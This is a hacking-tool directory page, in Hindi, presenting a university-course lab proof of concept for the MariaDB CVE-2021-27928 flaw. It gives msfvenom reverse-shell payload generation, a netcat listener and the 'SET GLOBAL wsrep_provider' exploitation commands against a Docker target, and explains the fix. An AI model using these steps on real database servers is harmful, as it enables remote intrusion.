Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-27928 — CVE-2021-27928 दोष शोषण के लिए एक प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/laliea/cve-2021-27928
पेलोड जनरेशनभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षाArchived
GitHublaliea/cve-2021-27928

CVE-2021-27928

CVE-2021-27928 दोष शोषण के लिए एक प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
22 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-27928

इस रिपॉजिटरी में, आपको CVE-2021-27928 दोष के शोषण का एक प्रूफ ऑफ कॉन्सेप्ट मिलेगा, जो एक डॉकर कंटेनर के माध्यम से चलाया जाता है।

root@kitploit:~
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
    MariaDB 10.2 before 10.2.37,
            10.3 before 10.3.28,
            10.4 before 10.4.18,
            10.5 before 10.5.9;
    Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

दोष का विवरण

सिस्टम वेरिएबल wsrep_provider और wsrep_notify_cmd system को रनटाइम पर एक डेटाबेस उपयोगकर्ता द्वारा सुपर विशेषाधिकारों के साथ संशोधित किया जा सकता है, जिससे रिमोट कोड का eval हो सकता है जो इन्हीं विशेषाधिकारों के साथ निष्पादित होगा।

पहला वेरिएबल .so लाइब्रेरी का पथ लेता है जिसे सर्वर dlopen() करने का प्रयास करेगा, और दूसरा शेल स्क्रिप्ट का पथ लेता है जिसे सर्वर निष्पादित करेगा। इनके लिखने योग्य होने से, सुपर विशेषाधिकारों वाला डेटाबेस उपयोगकर्ता सिस्टम उपयोगकर्ता के रूप में मनमाना कोड निष्पादित कर सकता है।

mysql

इस प्रूफ ऑफ कॉन्सेप्ट में, हम .so लाइब्रेरी बनाने के लिए msfvenom का उपयोग करेंगे जिसमें हमारा पेलोड (हमारे मामले में, एक रिवर्स शेल) होगा। फिर हम इस फ़ाइल को कमजोर मशीन पर कॉपी करेंगे और wsrep_provider वेरिएबल पर यह पथ निर्दिष्ट करेंगे, जो हमारे पेलोड को निष्पादित करेगा, जिससे हमें अपने रिवर्स शेल की बदौलत लक्ष्य मशीन पर सुपर विशेषाधिकारों (यहाँ mysql उपयोगकर्ता) के साथ पहुँच मिल जाएगी।

कमजोर मशीन की इमेज बनाना और लॉन्च करना

इस प्रयोग के लिए, आपको अपनी मशीन पर docker, msfvenom, openssh-client और mariadb पैकेज इंस्टॉल होने चाहिए।

इस सेटअप में, लक्ष्य मशीन MariaDB 10.4.12 इमेज (जो इस दोष के लिए कमजोर है) पर आधारित है, जिसमें एक openssh सर्वर चल रहा है जिसमें root लॉगिन की अनुमति नहीं है। इस प्रकार हमने आपके लिए एक गैर-root उपयोगकर्ता बनाया है, myuser, जिसका पासवर्ड mypassword है।

कमजोर इमेज बनाना:

root@kitploit:~
docker build --rm=true -t mariadb-cve-2021-27928 .

लक्ष्य मशीन लॉन्च करना:

root@kitploit:~
docker compose up

शोषण

पेलोड बनाएँ: एक रिवर्स शेल

पेलोड वह बाइनरी है जिसे हम चाहते हैं कि शोषण पूरा होने के बाद लक्ष्य मशीन निष्पादित करे। यहाँ, हम .so लाइब्रेरी के आकार में रिवर्स शेल पेलोड बनाने के लिए msfvenom का उपयोग करते हैं, जिसमें हमारा IP पता (LHOST) और पोर्ट (LPORT) पैरामीटर के रूप में होते हैं। दूसरे शेल पर, चलाएँ:

root@kitploit:~
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so

LHOST IP पता वह है जो docker-compose.yaml में नेटवर्क गेटवे के लिए परिभाषित है, हमारे मामले में, हमलावर, आप।

रिवर्स शेल के लिए सुनें

पृष्ठभूमि में, एक तीसरे टर्मिनल पर, हम लक्ष्य मशीन से उस पोर्ट पर किसी भी आने वाले कनेक्शन को सुनेंगे जिस पर उसे कनेक्ट होना है।

root@kitploit:~
nc -lnvp 4444

जिस पोर्ट पर हम सुन रहे हैं, 4444, वह वही है जिसे हमने पेलोड निर्माण के समय LPORT के रूप में सेट किया था।

पेलोड को कमजोर मशीन पर भेजें

अब, हमें पहले बनाए गए पेलोड (payload-CVE-2021-27928.so) को scp कमांड के माध्यम से ssh से लक्ष्य मशीन पर कॉपी करना होगा, गैर-root सिस्टम उपयोगकर्ता myuser के रूप में, जिसका पासवर्ड mypassword है:

root@kitploit:~
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so

चूँकि हम ssh के माध्यम से सीधे /usr/lib में फ़ाइल कॉपी नहीं कर सकते, हमें मशीन से कनेक्ट होना होगा और इसे मैन्युअल रूप से सही जगह पर ले जाना होगा (याद रखें कि myuser का पासवर्ड mypassword है):

root@kitploit:~
ssh [email protected]
root@kitploit:~
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
root@kitploit:~
exit

हम पेलोड को किसी अन्य निर्देशिका में किसी अन्य नाम जैसे /tmp/exploit.so के साथ अपलोड कर सकते थे और इस पथ को पेलोड पथ के रूप में पारित कर सकते थे, लेकिन चूँकि यह दोष सभी mariadb पैकेजों पर सुधारा जा चुका है, इसके शोषण के लिए कुछ समायोजनों की आवश्यकता थी जिन्हें आप इस डेमो के अंत में देखेंगे।

दोष का शोषण करके लक्ष्य पर पेलोड निष्पादित करें

अंतिम चरण MariaDB दोष का शोषण करना है, एक दोस्ताना गैर-root सिस्टम उपयोगकर्ता लेकिन सक्षम डेटाबेस एडमिनिस्ट्रेटर के रूप में एक अनुरोध भेजकर, जिसमें ग्लोबल वेरिएबल wsrep_provider को हमारे पेलोड के पथ पर सेट करने का अनुरोध हो।

root@kitploit:~
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"

यहाँ, root का अर्थ डेटाबेस स्तर पर "प्रशासक" है, न कि "सिस्टम root" उपयोगकर्ता। इस प्रकार यहाँ पासवर्ड वही है जो docker-compose.yaml फ़ाइल में है, MYSQL_ROOT_PASSWORD: myrootpwd।

अंत में, यदि सब कुछ अपेक्षा के अनुसार काम करता है, तो हम उस टर्मिनल में वापस देख सकते हैं जिसमें हम किसी भी आने वाले कनेक्शन के लिए सुन रहे थे कि लक्ष्य मशीन ने सफलतापूर्वक हमसे वापस कनेक्ट किया है, और हम शेल कमांड चला सकते हैं। आनंद लें :)

रिवर्स शेल उतना आकर्षक नहीं है जितना एक "क्लासिक" शेल: आपके पास ऑटोकम्प्लीशन, शेल प्रॉम्प्ट या हिस्ट्री नहीं होती है, इसलिए अपने कमांड के सही निष्पादन की निगरानी करना आप पर निर्भर है। इस प्रकार, एक उदाहरण के रूप में, ls -la का उपयोग करने में संकोच न करें।

आप यह जाँचने के लिए netcat के शेल पर whoami चला सकते हैं कि आप सिस्टम उपयोगकर्ता mysql हैं!

समाधान

MariaDB के Jira के अनुसार, ऐसा प्रतीत होता है कि इन वेरिएबल्स को रनटाइम पर संशोधित करने का कोई व्यावहारिक उपयोग मामला बहुत कम (या बिल्कुल नहीं) है, इनका उपयोग केवल परीक्षणों में किया जाता है। यह दोष पाए जाने के बाद, समाधान यह था कि इन्हें केवल-पठनीय (read-only) बना दिया जाए, जो आसान और सुरक्षित समाधान था, भले ही परीक्षण स्क्रिप्ट थोड़ी अधिक जटिल हो गई हों।

पहले ऐसा नहीं था, लेकिन अब, wsrep_provider केवल एक ही पथ मान ले सकता है, /usr/lib/galera/libgalera_smm.so, यही कारण है कि इस प्रूफ ऑफ कॉन्सेप्ट के लिए कुछ समायोजनों की आवश्यकता थी, जैसे कि हमारे पेलोड को अपलोड करने में सक्षम होने के लिए /usr/lib/galera फ़ोल्डर को लिखने के अधिकार देना। यह कॉन्फ़िगरेशन इसलिए इस प्रदर्शन के संदर्भ में जानबूझकर असुरक्षित है, लेकिन अधिकांश वर्तमान प्रणालियों पर इस तरह से अब उपयोग योग्य नहीं है।

संदर्भ

  • CVE
  • MariaDB Server issue on Jira
  • Exploit example

यह कार्य सूचना प्रणाली सुरक्षा पाठ्यक्रम के भाग के रूप में किया गया था, जो Grenoble INP - Ensimag, UGA में सूचना प्रणाली इंजीनियरिंग विशेषज्ञता के अंतिम वर्ष में दिया जाता है।

टूल डाउनलोड करें